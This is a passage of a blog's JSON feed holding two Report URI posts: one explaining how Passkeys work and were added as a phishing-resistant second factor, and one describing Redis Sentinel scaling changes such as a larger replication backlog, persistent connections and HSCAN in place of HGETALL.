crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js\" integrity=\"sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js\" integrity=\"sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Penetration Test",
              "term": "Penetration Test",
              "url": null
            }
          ]
        },
        {
          "id": "69b2e9d974ea740001185409",
          "title": "Launching Passkeys support on Report URI! 🗝️",
          "description": "<p>As we're always wanting to keep ahead in the security game, I'm happy to announce that we now support Passkeys on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>! Let's take a quick look at what Passkeys are, why you should use them, and how we've implemented them.</p>",
          "url": "https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/",
          "published": "2026-03-30T10:10:05.000Z",
          "updated": "2026-03-30T10:10:05.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg\" alt=\"Launching Passkeys support on Report URI! 🗝️\"><p>As we're always wanting to keep ahead in the security game, I'm happy to announce that we now support Passkeys on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>! Let's take a quick look at what Passkeys are, why you should use them, and how we've implemented them.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png\" class=\"kg-image\" alt=\"Launching Passkeys support on Report URI! 🗝️\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"passkeys-solve-a-big-problem\">Passkeys solve a big problem</h4><p>Let's kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That's right, if you're using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they're also much more convenient to use too! </p><p></p><h4 id=\"how-do-passkeys-work\">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>\n User               Browser / OS              Website / Server            \n |                      |                           |\n | 1. \"Create Passkey\"  |                           |\n |--------------------->|                           |\n |                      | 2. Request registration   |\n |                      |-------------------------->|\n |                      |                           |\n |                      | 3. Send challenge         |\n |                      |<--------------------------|\n |                      |                           | \n |                      | 4. Create new key pair    |\n |                      |    - save private key     |\n |                      |      on device            | \n |                      |                           |\n |                      | 5. Send public key + attestation\n |                      |-------------------------->|\n |                      |                           | 7. Store public key\n |                      |                           |    with user account\n |                      | 8. Registration complete  |\n |                      |<--------------------------|\n | 9. \"Registration Complete\"                       |\n |<---------------------|                           |\n |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server\n |                      |                           |\n | 1. \"Sign in with passkey\"                        |\n |--------------------->|                           |\n |                      | 2. Request authentication |\n |                      |-------------------------->|\n |                      |                           | \n |                      | 3. Send challenge         |\n |                      |<--------------------------|\n |                      |                           |\n |                      | 4. Biometrics / PIN       |\n |                      | 5. Sign with private key  |\n |                      | 6. Return signed challenge|\n |                      |-------------------------->|\n |                      |                           | 7. Verify signature\n |                      |                           |    using public key\n |                      | 8. Authentication successful\n |                      |<--------------------------| \n | 9. \"Signed in!\"      |                           |\n |<---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you're logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id=\"how-are-they-phishing-resistant\">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn't just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn't actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               <-- nope\nhttps://report-uri.secure-login.com  <-- nope\nhttps://report-uri.xyz               <-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you're on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id=\"how-are-they-being-used-on-report-uri\">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we've opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you're interested in our approach to securing user passwords, you can read my <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href=\"https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords\" rel=\"noreferrer\">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you're planning to use them on your site. Make sure you're subscribed for notifications so you know when they go live!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "69af4097fedfb90001b388b4",
          "title": "When “One in a Billion” Happens Every Day: Scaling Redis at Report URI",
          "description": "<p>Something that I've come to learn as we continue to grow <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is that everything is easy until scale makes it hard. We're now processing so much telemetry that a \"one in a billion\" problem can happen every, single, day, and we'</p>",
          "url": "https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/",
          "published": "2026-03-24T14:36:17.000Z",
          "updated": "2026-03-24T14:36:17.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\"><p>Something that I've come to learn as we continue to grow <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is that everything is easy until scale makes it hard. We're now processing so much telemetry that a \"one in a billion\" problem can happen every, single, day, and we've had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id=\"our-high-availability-redis-deployment\">Our High-Availability Redis deployment</h4><p>I recently wrote <a href=\"https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">We're going High Availability with Redis Sentinel!</a> and you should start there if you'd like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1000\" height=\"785\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn't long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id=\"just-how-much-are-we-talking\">Just how much are we talking?</h4><p>You can head over to our <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Global Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"847\" height=\"318\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"965\" height=\"570\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>You can even check out our mesmerising <a href=\"https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we're processing, let's get on to the 'how'. </p><p></p><h4 id=\"identifying-opportunities-for-improvement\">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as 'Mega Tickets', which signifies that they're going to be a parent ticket for a bunch of other tickets, and that there's going to be a lot of work involved!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"925\" height=\"843\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say \"well, duh...\" after you read them, but all of this was working perfectly until it wasn't. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id=\"optimising-replication-for-smooth-failovers\">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href=\"https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn't theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here's how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                ┌─────────────────────────────────────────────┐\n                │                    PRIMARY                  │\n                │                                             │\n                │ ┌───────────────────────────────┐           │\nWrites from →   │ │   Command Stream (WRITE ops)  │           │\napplications ───▶│   (SET, HSET, INCR, etc.)     │           │\n                │ └──────────┬────────────────────┘           │\n                │            │                                │\n                │            ▼                                │\n                │  ┌──────────────────────────────┐           │\n                │  │   Replication Backlog (2 GB) │◄───┐      │\n                │  │  Circular buffer of last N B │    │      │\n                │  └──────────────────────────────┘    │      │\n                │            │                         │      │\n                │            │                         │      │\n                │            ▼                         │      │\n                │  ┌──────────────────────────────┐    │      │\n                │  │ Replica Output Buffer (512MB)│────┘      │\n                │  │ per connected replica client │           │\n                │  └──────────────────────────────┘           │\n                └─────────────────────────────────────────────┘\n                                              │\n                                              │ TCP stream of write commands\n                                              ▼\n                ┌─────────────────────────────────────────────┐\n                │                    REPLICA                  │\n                │                                             │\n                │ ┌───────────────────────────────┐           │\n                │ │   Input buffer (from primary) │           │\n                │ └──────────┬────────────────────┘           │\n                │            │                                │\n                │            ▼                                │\n                │  ┌──────────────────────────────┐           │\n                │  │ Apply to dataset in memory   │           │\n                │  └──────────────────────────────┘           │\n                └─────────────────────────────────────────────┘</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they're the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will 'overtake' the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1369\" height=\"887\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to 'catch up' using the Replication Backlog, it can't, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id=\"persisting-connections-to-save-on-overheads\">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we're handling almost 1,500 connections/second to Redis.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1103\" height=\"555\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we're now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1103\" height=\"552\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we're saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we're saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you're now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id=\"avoiding-large-reads-that-take-too-long\">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it's not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn't available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436\n    2) (integer) 1762833603\n    3) (integer) 1049238\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-1969791144\"\n    5) \"snip:34018\"\n    6) \"\"\n 2) 1) (integer) 6435\n    2) (integer) 1762833423\n    3) (integer) 1005244\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-533592971\"\n    5) \"snip:54284\"\n    6) \"\"\n 3) 1) (integer) 6434\n    2) (integer) 1762833063\n    3) (integer) 1072218\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-383568749\"\n    5) \"snip:47118\"\n    6) \"\"\n 4) 1) (integer) 6433\n    2) (integer) 1762833003\n    3) (integer) 1073379\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-1518767320\"\n    5) \"snip:36282\"\n    6) \"\"\n 5) 1) (integer) 6432\n    2) (integer) 1762832822\n    3) (integer) 1002085\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-367184566\"\n    5) \"snip:60828\"\n    6) \"\"</code></pre><p></p><p>There's a <code>hGetAll()</code> call in there that took 1,073,379μs, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We're currently capping the length of a <code>hScan()</code> call to ~500,000μs (500ms) so that we're never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957\n    2) (integer) 1763047503\n    3) (integer) 599277\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-775261748\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:52516\"\n    6) \"\"\n 2) 1) (integer) 5956\n    2) (integer) 1763047382\n    3) (integer) 575907\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-991577969\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:42706\"\n    6) \"\"\n 3) 1) (integer) 5955\n    2) (integer) 1763047321\n    3) (integer) 546641\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-1663792648\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:39818\"\n    6) \"\"\n 4) 1) (integer) 5954\n    2) (integer) 1763047262\n    3) (integer) 563350\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-903905420\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:50746\"\n    6) \"\"\n 5) 1) (integer) 5953\n    2) (integer) 1763047201\n    3) (integer) 609534\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-1690091359\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:49308\"\n    6) \"\"</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id=\"add-more-cloud\">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it's the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary\nin Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-replica\nin Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-01\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-02\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-03\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-04\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn't add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id=\"future-ideas\">Future ideas</h4><p>We've considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn't going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we'd lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
